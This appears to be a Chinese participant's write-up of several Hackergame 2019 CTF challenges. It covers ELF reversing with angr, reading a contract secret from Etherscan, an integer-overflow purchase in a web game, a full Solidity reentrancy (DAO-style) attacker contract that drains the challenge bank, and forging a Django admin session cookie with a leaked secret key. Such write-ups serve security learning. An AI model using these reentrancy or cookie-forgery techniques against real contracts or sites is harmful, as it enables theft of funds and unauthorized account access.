两种方式去验证,可以爆破flag或者根据验证的内容倒推
1 2 3 4 5 6 7 8 9 10 11 flag = [None for i in range(46)] l = [0x66,0x6E,0x65,0x6B,0x83,0x4E,0x6D,0x74,0x85,0x7A,0x6F,0x57,0x91,0x73,0x90,0x4F,0x8D,0x7F,0x63,0x36,0x6C,0x6E,0x87,0x69,0x0a3,0x6F,0x58, 0x73,0x66,0x56,0x93,0x9F,0x69,0x70,0x38,0x76,0x71,0x78,0x6F,0x63,0x0C4,0x82,0x84,0x0BE,0x0BB,0x0CD,] for i, c in enumerate(l): flag[i] = c+i flag[i] = flag[i]^i flag[i] = flag[i]-2*i # print(i,c,flag[i]) # print(flag) "".join([chr(abs(i)) for i in flag if not None]) 1 2 'flag{Linux_Syst3m_C4ll_is_4_f4scin4ting_t00ls}'看其他官方的writeup,可以直接符号执行
1 2 3 4 5 6 import angr proj = angr.Project("tinyELF") simgr = proj.factory.simgr() simgr.explore(find=lambda s: b"correct" in s.posix.dumps(1)) print(simgr.found[0].posix.dumps(0))执行
1 2 3 # root @ Beijing-debian in ~/lug [14:26:47] $ python3 elf.py b'flag{Linux_Syst3m_C4ll_is_4_f4scin4ting_t00ls}'试了下,几秒钟出结果,符号执行nb
韭菜全靠丁大佬carry,真的nb
题目给出了智能合约的算法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pragma solidity ^0.4.26; contract JCBank { mapping (address => uint) public balance; mapping (uint => bool) public got_flag; uint128 secret; constructor (uint128 init_secret) public { secret = init_secret; } function deposit() public payable { balance[msg.sender] += msg.value; } function withdraw(uint amount) public { require(balance[msg.sender] >= amount); msg.sender.call.value(amount)(); balance[msg.sender] -= amount; } function get_flag_1(uint128 guess) public view returns(string) { require(guess == secret); bytes memory h = new bytes(32); for (uint i = 0; i < 32; i++) { uint b = (secret >> (4 * i)) & 0xF; if (b < 10) { h[31 - i] = byte(b + 48); } else { h[31 - i] = byte(b + 87); } } return string(abi.encodePacked("flag{", h, "}")); } function get_flag_2(uint user_id) public { require(balance[msg.sender] > 1000000000000 ether); got_flag[user_id] = true; balance[msg.sender] = 0; } }手写一遍算法 去查看智能合约
1 https://kovan.etherscan.io/address/0xe575c9abd35fa94f1949f7d559056bb66fddeb51#code点contract
下面有一个Arg[0] 这个就是源代码里面的secret
1 2 3 4 5 6 000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac -----Encoded View--------------- 1 Constructor Arguments found : Arg [0] : 000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac把这个放到flag的生成逻辑里面去
1 2 3 4 5 6 7 secret = 0x000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac h = [None]*32 for i in range(32): b = (secret>>(4*i))&0xf h[31-i] = b+48 if b<10 else b+87 print("flag:", "".join([chr(i) for i in h])) 1 flag: 0175bddc0da1bd47369c47861f48c8ac 达拉崩吧大冒险去料理市场买东西的时候,可以输入负数,可以猜测这里没有做处理
可以试试造成溢出
尝试了 -2**60 次方可以正常购买, -2**61 次方则会造成异常
于是修改购买的数量为-2305843009213693952,搞定
1 2 3 4 5 6 7 8 Name: 达拉崩吧斑得贝迪卜多比鲁翁 Money: 4611686018427388000 Attack: 6917529027641082000然后点攻打恶龙,打败之后点要flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 旁白: 进入同步! 蒙达鲁克硫斯伯古比奇巴勒城门卫: 站住!进门收钱!一人50元,童叟无欺!不进的走开,要进的速速报上姓名! 我: 我是达拉崩吧斑得贝迪卜多比鲁翁,我从千里之外,前来帮助国王救回公主。 国王: 愁啊,愁啊!爱女米娅莫拉苏娜丹妮谢莉红竟被那恶龙带走了。 国王: 若是有哪位勇士能够打败恶龙,大大滴有赏赐 我: 我达拉崩吧斑得贝迪卜多比鲁翁,愿意跨过山与大海,去会会那恶龙昆图库塔卡提考特苏瓦西拉松。 国王: 好!!若你成功救得公主,我赐你黄金万两。 旁白: 接下来,你想去哪里呢? 我: 料理大市场 隔壁王大妈: 走过路过不要错过,这里有鲜美香脆可口甘甜现炸童子鸡,有效提升攻击力,现在只要两元钱,两块钱,你买不了吃亏,买不了上当。这位客官,你要来几只啊? 旁白: 你感觉自己浑身充满了干劲 旁白: 接下来,你想去哪里呢? 我: 去恶龙洞穴 巨龙昆图库塔卡提考特苏瓦西拉松: 我是恶龙昆图库塔卡提考特苏瓦西拉松 我: 你是昆图库塔卡提考特苏瓦西拉松? 巨龙昆图库塔卡提考特苏瓦西拉松: 我是恶龙昆图库塔卡提考特苏瓦西拉松!我的攻击力可是64403333,看招 旁白: 砰砰砰!叭叭叭!恭喜你,战胜了巨龙昆图库塔卡提考特苏瓦西拉松! 国王: 啊!我的勇士达拉崩吧斑得贝迪卜多比鲁翁,你救了我的公主米娅莫拉苏娜丹妮谢莉红!你想要什么奖励? 我: flag 国王: 好!成全你! 系统: flag{what_an_amazing_dream} 旁白: 失去同步!题目的剧情是真的有意思 233333
韭菜第二题再说一遍,丁大佬nb
The Dao攻击
去https://remix.ethereum.org/#optimize=false&evmVersion=null&version=soljson-v0.4.26+commit.4563c3fc.js写代码,新建一个MyContract,然后点击指定版本的智能合约进行编译
填写JCbank的合约地址,然后部署
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 pragma solidity ^0.4.26; contract JCBank { mapping (address => F) public balance; mapping (uint => bool) public got_flag; uint128 secret; constructor (uint128 init_secret) public { secret = init_secret; } function deposit() public payable { balance[msg.sender] += msg.value; } function withdraw(uint amount) public { require(balance[msg.sender] >= amount); msg.sender.call.value(amount)(); balance[msg.sender] -= amount; } function get_flag_1(uint128 guess) public view returns(string) { require(guess == secret); bytes memory h = new bytes(32); for (uint i = 0; i < 32; i++) { uint b = (secret >> (4 * i)) & 0xF; if (b < 10) { h[31 - i] = byte(b + 48); } else { h[31 - i] = byte(b + 87); } } return string(abi.encodePacked("flag{", h, "}")); } function get_flag_2(uint user_id) public { require(balance[msg.sender] > 1000000000000 ether); got_flag[user_id] = true; balance[msg.sender] = 0; } } contract MyContract { JCBank c; address owner; uint public number; function MyContract(address _c) public payable { c = JCBank(_c); owner = msg.sender; c.deposit.value(msg.value)(); } function() public payable { number++; uint weHave=0.1 ether; c.withdraw(weHave); } function attack() public { c.withdraw(0); } function getmoney() public { owner.transfer(this.balance); } function end() public { uint x = 1076008070892; c.get_flag_2(x); } }先转账,然后攻击 稍等一会儿运行end
泄露的姜戈github把代码下载下来,改一下views.py里面的代码,让他返回admin登录时候的cookie,然后用这个cookie登录题目就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from django.contrib.auth.models import User def index(request): if request.method == "GET": if request.user.is_authenticated: return redirect(reverse("profile")) return render(request, 'app/index.html', { # "name": "admin" "name": name }) elif request.method == "POST": username = request.POST["username"] password = request.POST["password"] user = authenticate(request, username=username, password=password) if user is not None: # login(request, user) u = User.objects.get(username='admin') # 添加这行和下一行 login(request, u)其中修改的是
1 2 u = User.objects.get(username='admin') # 添加这行和下一行 login(request, u)这两行会在用户使用guest登录的时候仍然返回admin的信息,因为这个cookie信息是经过secert_key签名了的,所以在题目服务器里面也可以用
复制这个cookie到题目里面,重下新请求一下就给flag了
1 flag{Never_leak_your_sEcReT_KEY}最初以为是泄露secert_key导致RCE,但是试了之后发现不行 然后尝试构造cookie,分析django源码里面cookie的逻辑 稍微有点麻烦懒得去看,试了试本地直接让程序使用admin登录,然后把cookie放到线上题目里面,访问得flag
三教奇妙夜拆开视频成图片
1 ffmpeg -i output.mp4 frame_%09d.jpg文件比较多 观察了一下无用图片的大小都在5000B左右,含有flag的页面大小不同,于是可以边写边删
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 In [36]: def delete(): ...: count = 0 ...: for i in os.listdir('night'): ...: count += 1 ...: if 4969<os.path.getsize('night/'+i)<5100: ...: os.remove('night/'+i) ...: In [36]: for i in range(1000000): ...: delete() ...: time.sleep(10) ...: print("again", i) ...: ...:打开就看到flag了
1 flag{ViDe0_prOcE55_with_program_1s_eaSy} 附录官方writeup https://github.com/ustclug/hackergame2019-writeups